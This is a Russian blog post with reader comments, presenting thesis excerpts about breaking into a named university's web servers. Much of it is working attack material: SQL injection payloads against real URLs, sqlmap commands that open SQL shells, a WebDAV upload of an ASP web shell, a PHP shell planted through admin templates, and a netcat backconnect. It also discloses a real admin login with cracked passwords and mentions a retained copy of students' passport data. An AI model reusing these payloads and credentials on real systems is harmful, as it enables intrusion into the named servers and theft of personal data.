Предисловие.
Стоя у истоков своей неудавшейся карьеры, мне выпал карт-бланш на пенетрацию серверов нашего местного педа по-черному. Я был молод, амбициозен и ориентирован на искрометный прыжок сквозь техническую сингулярность в наше великолепное кибер-будущее-2020. Кульминацией моего кул-хацкинг-прошлого стала диспломная работа. Ввиду того что, в России дипломная работа является по большей части отпиской, неудовлетворенность в том, что мой диплом так и не был никем прочитан а кем все таки был, был непонят, выдержки из него публикую тут. Чувство радости, охватившее меня держало несколько месяцев увлеченной работы, результатом которой я и хотел бы поделиться, осознавши себя именно now(), спустя почти десяток лет, кибер-рабочим, кладущим кибер-кирпичи, так еще и не очень ровно, так получилось...
Информация представленная здесь носит исключительно познавательный характер. Ресурсы закрыты, баги спустя много лет пофикшены, некоторые данные изменены, в любом случае повторение подобных действий незаконно. Цель -- показать процесс аудита методом черного ящика на вполне конкретном примере и законных основаниях.
Помни про УК:
Статья 272. Неправомерный доступ к компьютерной информации.
Статья 273. Создание, использование и распространение вредоносных программ для ЭВМ.
Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей.
Глава 2. Практика
В нашей работе был произведен аудит внешних веб-ресурсов РГПУ им. А.И. Герцена.
Целью аудита было выявление критических уязвимостей, позволяющих получить доступ к тем или иным частям ИС.
Ресурс 1: Фундаментальная библиотека имени императрицы Марии Федоровны.
Первая уязвимость была найдена вручную. Изменив значение параметра "page" с 9 до 20 в URI lib.herzen.spb.ru/news/default.asp?page=9, была замечена ошибка системы управления базами данных MSSQL.
После некоторых манипуляций с параметром и подбором полей мы получили URI следующего вида:
lib.herzen.spb.ru/news/news_detail.asp?id='1'+union+select+1,2,3,4,5,6,7.
Далее необходимо было найти базу данных пользователей и узнать пароль администратора. В браузерной строке были проделаны следующие манипуляции:
lib.herzen.spb.ru/news/news_detail.asp?id='1'+union+select+1,TABLE_NAME,3,4,5,6,7+from+information_schema.tables
lib.herzen.spb.ru/news/news_detail.asp?id='1'+union+select+top+1+1,TABLE_NAME,3,4,5,6,7+from+information_schema.tables+WHERE+TABLE_NAME+NOT+IN+('comment','news','dtproperties')
Обнаружилось, что база данных имеет всего три таблицы, и при этом ни одна из них даже отдаленно не напоминала необходимую.
Конечно, с помощью нее можно извлечь различные конфиденциальные данные, но они не позволят проникнуть на сервер.
Было принято решение отложить тестирование этой уязвимости и запустить acunetix web vulnerability scanner. Спустя некоторое время был получен отчет об уязвимостях. Критических уязвимостей оказалось две:
-
Passive XSS уязвимость.
URI уязвимости: lib.herzen.spb.ru/marcweb/workdict.asp
Уязвимы все поля, пример уязвимого кода: onmouseover=prompt(966376) bad=
WebDAV Directory with Write Permissions. URI уязвимости: lib.herzen.spb.ru/marcweb/exe/tmp/ и lib.herzen.spb.ru/marcweb/exe/.
Уязвимость по протоколу WebDAV, работающему поверх HTTP, позволяет создавать файлы на сервере посредством «http методов».
Наиболее интересной для нас является уязвимость номер два, с чьей помощью мы можем выполнить PUT, а затем и MOVE метод с помощью протокола telnet.
Был найден шелл для системы на ASP.NET. Его название: «_.-:-> NeoHack <-:-._», ( ред. Странно, что не Trinity.exe ) он был передан вместе с PUT запросом на сервер.
В ответ мы получили сообщение об успешном создании файла "1.txt", который теперь находится по адресу lib.herzen.spb.ru/marcweb/exe/tmp/1.txt.
Однако файл оказался неисполняемым, потребовалось его переименовать при помощи метода MOVE в файл с названием "1.asp;.jpg".
Запрос выполнен.
Теперь, перейдя по адресу lib.herzen.spb.ru/marcweb/exe/tmp/1.asp;.jpg, мы увидим полноценный «шелл».
Недолго искав, находим файл CONFIG.ASP.
В нем лежит логин и пароль в открытом виде:
Заранее просканировав сайт при помощи инструмента Havij, мы знаем, что страница администратора находится по адресу lib.herzen.spb.ru/news/adm/.
Воспользовавшись логином и паролем, полученными ранее, мы совершили вход в административную часть сайта.
Теперь мы имеем достаточно привилегий на добавление и редактирование статей.
Помимо доступа к административной части сайта с полными правами на чтение, редактирование и удаление файлов в корневом каталоге сайта мы имеем доступ на чтение почти всех файлов на сервере, например в каталоге WINDOWS/System32.
Ресурс 2: Университетский образовательный округ РГПУ им. А.И. Герцена
В строке okrug.herzen.spb.ru/do/sub есть уязвимый аргумент subjects, который передается посредством POST запроса.
Запрос в sqlmap выглядит следующим образом:
python sqlmap.py -u http://okrug.herzen.spb.ru/do/sub/ --data="name=name&email=mail@email.ru&subjects=1&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC" -p subjects –sql-shell
С помощью него мы получим SQL шелл. В аргумент 'subjects' мы передаем следующие значения:
name=name&email=mail@email.ru&subjects=1' RLIKE (SELECT (CASE WHEN (5587=5587) THEN 1 ELSE 0x28 END)) AND 'mJSm'='mJSm&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC
name=Acunetix&email=smail@email.ru&subjects=1' AND (SELECT 8432 FROM(SELECT COUNT(*),CONCAT(0x7171686771,(SELECT (CASE WHEN (8432=8432) THEN 1 ELSE 0 END)),0x7177616c71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'XRst'='XRst&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC
name=Acunetix&email=sample@email.tst&subjects=1' AND SLEEP(5) AND 'cwWR'='cwWR&text=111-222-1933email@address.tst&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC
На данном этапе мы получили доступ к базе данных. Проанализировав данные, мы нашли таблицу 0users. В ней оказались логины и md5 хэши паролей для входа в административную часть сайта.
Воспользовавшись такими ресурсами как rachid.dk и md5decoder.org, мы с легкостью расшифровали два следующих хэша: 3fa08bcbb256da891dbfc106b68384db и 2332dc1dc2f0fd1377f122fdb5a3052b. Пароли данных хэшей: hokrug и okruh соответственно. Логин для обоих паролей был – 0admin
Теперь мы можем пользоваться административной частью сайта, расположенной по адресу http://okrug.herzen.spb.ru/admin/login.php.
В разделе сайта «Шаблоны страниц» мы можем создавать шаблоны страниц с произвольным PHP кодом. Воспользовавшись этим создадим файл с шеллом с названием 1.inc.php. Название шелла: «b374k m1n1 1.01». Теперь по адресу http://okrug.herzen.spb.ru/templates/1.inc.php располагается полноценный шелл.
Изучив файлы, находящиеся на сервере, мы обнаружили следующие файлы: passwd, находящийся в папке /etc/ хранящий в себе информацию о настройках прав доступа, файл globalconfig.inc.php находящийся в папке /usr/share/nginx/www/ и хранящий в себе логин:пароль для доступа к базе данных Mysql.
Поскольку мы уже изучили все данные в СУБД, попробуем получить root доступ. Создадим файл exploit.c на сервере, содержащий в исходном коде local root exploit. Откроем порт 4000 с помощью netcat командой nc -l 4000. Сделаем бэкконект на данный порт при помощи стандартных возможностей шелла. Теперь мы можем исполнять команды непосредственно из командной строки. К сожалению, на сервере не установлен gcc или любой подобный компилятор, либо к нему просто нет доступа, что более вероятно.
Ресурс 3: Электронный атлас
Уязвимый параметр id в URI herzen.spb.ru/chair_types.php?id=1 и такой инструмент как sqlmap позволили получить полный доступ к базе данных, находящейся по адресу /home/umo/HERZEN.FDB.
Команда в sqlmap выглядит следующим образом:
python sqlmap.py -u http://herzen.spb.ru:80/chair_type.php?id=1
Значения, которые нужно передать параметру id для тестирования инъекции, выглядят следующим образом:
-9591 UNION ALL SELECT NULL,'qvlyq'||'aHGhoCJksT'||'quqdq',NULL,NULL,NULL FROM RDB$DATABASE--
1 AND 7686=7686
AND 6277=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
Название базы данных - «Firebird_masterdb», а её размер - более 3Гб.
База содержит 324 таблицы с конфиденциальными данными университета.
Пример одной из таблиц: список текущих студентов университета, содержащий в себе полные имена, адреса, телефоны, паспортные данные, баллы за ЕГЭ, номера зачеток и другие конфиденциальные сведения.
!!!
( ред. В итоге это был бекап... Пруфов не будет, но база где-то до сих пор валяется у меня на флешке. )
Пользователь, с которого мы имеем доступ к СУБД, «SYSDBA» является также администратором базы данных и имеет все привилегии на сервере.
Исходя из этого, помимо просмотра, нам также доступны права на редактирование и удаление данных.
При помощи FirebirdSQL невозможно создать файл на сервере, а значит и получить доступ к серверу на данный момент нельзя.
Ресурс 4: Телефонная книга университета
В URI phones.herzen.spb.ru/index.php?b=А&sort=post&l=0 оказалось два уязвимых параметра. Параметр "sort" позволял выполнить только «слепую» инъекцию, и поэтому мы сосредоточились на параметре "b".
Вручную изменять значения параметра "b" в запросе b=А&sort=post&l=0 оказалось сложнее, чем предполагалось ранее, и поэтому было принято решение использовать sqlmap.
Команда в sqlmap выглядит следующим образом:
python sqlmap.py -u phones.herzen.spb.ru/index.php?b=1.
Окончательное значение, которое нужно передать параметру, выглядит следующим образом:
1') AND (SELECT 2920 FROM(SELECT COUNT(*),CONCAT(0x3a696c6c3a,(SELECT (CASE WHEN (2920=2920) THEN 1 ELSE 0 END)),0x3a6364773a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('YFEv'='YFEv
Теперь, запустив sqlmap с параметром --sql-shell, мы получили командную строку, с помощью которой можем извлекать информацию из баз данных, как это показано на изображении.
python sqlmap.py -u phones.herzen.spb.ru/index.php?b=1 --sql-shell
Необходимые нам данные оказались в таблице "telefon_users", которая принадлежит базе данных "phones".
Запрос select telefon_users_id, telefon_users_log, telefon_users_name, telefon_users_pass, from telefon_users
в sql-shell выдал нам данные обо всех зарегистрированных пользователях.
C помощью логина и пароля зарегистрированных пользователей можно легко подключиться к административной части сайта.
К сожалению, привилегий на выполнение команды создания файла средствами Mysql оказалось недостаточно. Доступ к серверу на данный момент не получен.
Комментарии (5)
janekprostojanek
05.01.2022 07:38+1Кто на ком стоял?
Это вы кладете кирпичи, то есть, извините, посты в ДТП и ЧП?
Про десять лет неудавшейся карьеры и непонятность непонятно. Вы отсидели за свой диплом вместо того, чтоб его защитить?
borovinskiy
05.01.2022 12:19+1Скажите, а какого года это исследование? На скриншоте увидел 2013 год, а сейчас CMS у библиотеки видимо на PHP, а не на ASP.
И почему оно появилось именно сейчас? В вузе, как известно, идет внутренняя борьба, смещение ректора и т.д. и немного походит на слив компромата в рамках внутренней борьбы.EvaO2 Автор
05.01.2022 12:38+4Исследование +- десятилетней давности. Почему появилось сейчас, описал в первом абзаце. Публикация лишена политического контекста.
akhalat
06.01.2022 08:58-1В теме не разбираюсь, поэтому может быть глупый вопрос но всё же. Вот вы пишите: уязвим один параметр, уязвим другой. Это были уязвимости конкретной версии этой «MSSQL»?
vilgeforce
Неправильно настроены DNS сервера: два отдают зону целиком и без лишних вопросов и уже не нужно искать поддомены ;-) И так ДЖВА года подряд! Ну и если у вас там есть контакты ответственных - стуканитесь в личку, есть и более интересные вещи у них ;-)